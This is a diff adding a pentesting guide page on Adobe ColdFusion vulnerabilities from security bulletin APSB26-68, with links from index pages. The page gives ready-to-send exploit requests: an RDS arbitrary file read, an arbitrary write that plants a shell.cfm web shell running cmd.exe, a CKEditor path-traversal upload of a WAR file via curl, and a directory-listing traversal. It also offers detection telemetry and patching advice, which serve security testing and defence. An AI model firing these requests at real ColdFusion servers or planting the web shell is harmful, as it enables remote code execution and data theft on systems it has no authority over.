It Is 37°C, and All We Can Think About Is ColdFusion Adobe C...

src/SUMMARY.md

@@ -525,6 +525,7 @@
 - [80,443 - Pentesting Web Methodology](network-services-pentesting/pentesting-web/README.md)
   - [403 & 401 Bypasses](network-services-pentesting/pentesting-web/403-and-401-bypasses.md)
   - [AEM - Adobe Experience Cloud](network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md)
+  - [Adobe ColdFusion](network-services-pentesting/pentesting-web/adobe-coldfusion.md)
   - [Angular](network-services-pentesting/pentesting-web/angular.md)
   - [Apache](network-services-pentesting/pentesting-web/apache.md)
   - [Artifactory Hacking guide](network-services-pentesting/pentesting-web/artifactory-hacking-guide.md)

src/network-services-pentesting/pentesting-web/README.md

@@ -71,6 +71,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
 Some **tricks** for **finding vulnerabilities** in different well known **technologies** being used:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
+- [**Adobe ColdFusion**](adobe-coldfusion.md)
 - [**Apache**](apache.md)
 - [**HAProxy / reverse-proxy backdooring (post-compromise)**](../../linux-hardening/post-exploitation/linux-post-exploitation/trojanized-system-daemons-and-reverse-proxies.md)
 - [**Artifactory**](artifactory-hacking-guide.md)

src/network-services-pentesting/pentesting-web/adobe-coldfusion.md

@@ -0,0 +1,99 @@
+# Adobe ColdFusion Pentesting
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Basic information
+
+Adobe ColdFusion is a Java-based application server that executes ColdFusion Markup Language (CFML). Useful fingerprinting targets include `.cfm`/`.cfc` resources, `/CFIDE/`, and `/cf_scripts/`.<sup>[[2]](#references)</sup>
+
+Adobe lists ColdFusion 2025 Update 9 and earlier and ColdFusion 2023 Update 20 and earlier as affected by APSB26-68; the fixed releases are Update 10 and Update 21 respectively. The bulletin also reports limited in-the-wild exploitation of CVE-2026-48282.<sup>[[1]](#references)</sup>
+
+> [!WARNING]
+> The researchers derived the following primitives by patch-diffing. Their mapping of each primitive to a particular APSB26-68 CVE is tentative, so test the behavior rather than relying on the proposed CVE label.<sup>[[2]](#references)</sup>
+
+## Remote Development Services (RDS) filesystem RPC
+
+RDS lets development tools access ColdFusion over HTTP. It is disabled by default; the demonstrated unauthenticated attacks require RDS to be enabled and, in the researchers' test configuration, RDS authentication/security to be disabled. Requests are `POST`ed to `/CFIDE/main/ide.cfm`, where the `ACTION` parameter selects a servlet; `ACTION=FILEIO` reaches filesystem operations.<sup>[[2]](#references)</sup>
+
+The RDS request body starts with a field count followed by a colon. Each field is encoded as a four-byte pad, its decimal **byte** length, a colon, and exactly that many raw bytes. Build lengths after encoding the payload, because a wrong value shifts parsing of every subsequent field.<sup>[[2]](#references)</sup>
+
+```text
+<count>:0000<length>:<field-0>0000<length>:<field-1>...
+```
+
+`FILEIO` exposes `READ`, `WRITE`, `RENAME`, `REMOVE`, `EXISTENCE`, `CREATE`, and `CF_DIRECTORY`. In vulnerable builds, attacker-controlled names reached Java `File` objects without the path checks added by the patch, so the same weakness provided read, write, move, delete, directory-create, and directory-list primitives.<sup>[[2]](#references)</sup>
+
+### Arbitrary file read
+
+For an insecure RDS deployment, the following packet selects an absolute Windows path and the `READ` operator. The response is also length-prefixed and contains the file data readable by the ColdFusion service identity.<sup>[[2]](#references)</sup>
+
+```http
+POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
+Host: TARGET:8500
+Content-Type: application/octet-stream
+
+2:000018:C:\Windows\win.ini00004:READ
+```
+
+Prioritize ColdFusion configuration, deployed CFML source, datasource credentials, application secrets, private keys, and service-account-accessible operating-system files.<sup>[[2]](#references)</sup>
+
+### Arbitrary write to CFML execution
+
+A `WRITE` request takes a destination path and content. If the destination is a served ColdFusion document root, write a `.cfm` payload and request it to execute CFML as the ColdFusion service account. This is the ColdFusion-specific conversion of an arbitrary-write primitive into RCE.<sup>[[2]](#references)</sup>
+
+```http
+POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
+Host: TARGET:8500
+Content-Type: application/octet-stream
+
+4:000043:C:\ColdFusion2025\cfusion\wwwroot\shell.cfm00005:WRITE00001:000097:<cfexecute name="cmd.exe" arguments="/c whoami" variable="o"></cfexecute><cfoutput>#o#</cfoutput>
+```
+
+Trigger the written template:<sup>[[2]](#references)</sup>
+
+```http
+GET /shell.cfm HTTP/1.1
+Host: TARGET:8500
+```
+
+Do not limit validation to read/write: exercise the other operators with harmless assessment paths because rename, delete, create, and directory enumeration used the same unsafe path-resolution pattern.<sup>[[2]](#references)</sup>
+
+## CKEditor file-manager destination traversal
+
+ColdFusion's bundled CKEditor file manager has upload, directory creation, and directory navigation disabled by default. If an administrator enables uploads, the tested upload endpoint is reachable without authentication and accepts a client-controlled multipart `path`. Parent-directory components can escape the configured file-manager root and place the uploaded file elsewhere.<sup>[[2]](#references)</sup>
+
+```bash
+curl -sk 'https://TARGET/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm' \
+  -F 'path=home/../../../../../../../../ColdFusion2025/cfusion/wwwroot/' \
+  -F 'file=@poc.war;type=application/octet-stream'
+```
+
+Use an inert marker during validation. Impact depends on the destination and handler: a web-served CFML file or an auto-deployed archive can turn placement into code execution, while writes to application or configuration paths can enable persistence or destructive modification. The patch also added `jspf`, `cfmail`, and `war` to the prohibited-extension list, illustrating why a denylist alone is insufficient.<sup>[[2]](#references)</sup>
+
+### Directory-listing traversal
+
+When directory navigation is enabled, `getfmfiles` accepts the same kind of attacker-controlled path. Repeated parent segments can enumerate directories outside the file-manager root and reveal installation paths, applications, backups, configuration directories, or destinations for the upload primitive.<sup>[[2]](#references)</sup>
+
+```http
+GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=getfmfiles&path=../../../../../../../../ColdFusion2025/ HTTP/1.1
+Host: TARGET:8500
+```
+
+## Validation and detection notes
+
+For a safe implementation, reject empty paths and NUL bytes, normalize both separator styles, canonicalize the **complete** destination, and verify containment beneath a canonical allowlisted root. Canonicalization alone does not establish authorization; the `RdsFileSecurity.resolveCanonical()` method shown in the patch diff rejects explicit `..` segments and returns `getCanonicalFile()`, but does not itself show an allowed-root comparison. Uploads should additionally use an extension allowlist.<sup>[[2]](#references)</sup>
+
+High-signal telemetry includes:<sup>[[2]](#references)</sup>
+
+- Requests to `/CFIDE/main/ide.cfm?ACTION=FILEIO`, especially `application/octet-stream` bodies containing `READ`, `WRITE`, `RENAME`, or `REMOVE`.
+- Repeated `../` or `..\` sequences in CKEditor `path` values sent to `upload.cfm` or `filemanager.cfc?method=getfmfiles`.
+- Unexpected `.cfm`, `.war`, `.jspf`, or `.cfmail` files under web/deployment directories, particularly files created by the ColdFusion service or `SYSTEM` account.
+
+Apply the fixed update, leave RDS and the CKEditor file-manager write/navigation features disabled unless required, enforce RDS authentication, and restrict network access to `/CFIDE/` and `/cf_scripts/` administrative/development surfaces.<sup>[[1]](#references)[[2]](#references)</sup>
+
+## References
+
+- [1] [Adobe Security Bulletin APSB26-68 - Security updates available for Adobe ColdFusion](https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html)
+- [2] [watchTowr Labs - It Is 37°C, and All We Can Think About Is ColdFusion](https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza)
+
+{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/file-inclusion/README.md

@@ -2,6 +2,10 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+{{#ref}}
+../../network-services-pentesting/pentesting-web/adobe-coldfusion.md
+{{#endref}}
+
 {{#ref}}
 ../../generic-methodologies-and-resources/pentesting-network/dds-rtps-security.md
 {{#endref}}

src/pentesting-web/file-upload/README.md

@@ -2,6 +2,10 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+{{#ref}}
+../../network-services-pentesting/pentesting-web/adobe-coldfusion.md
+{{#endref}}
+
 ## File Upload General Methodology
 
 Other useful extensions: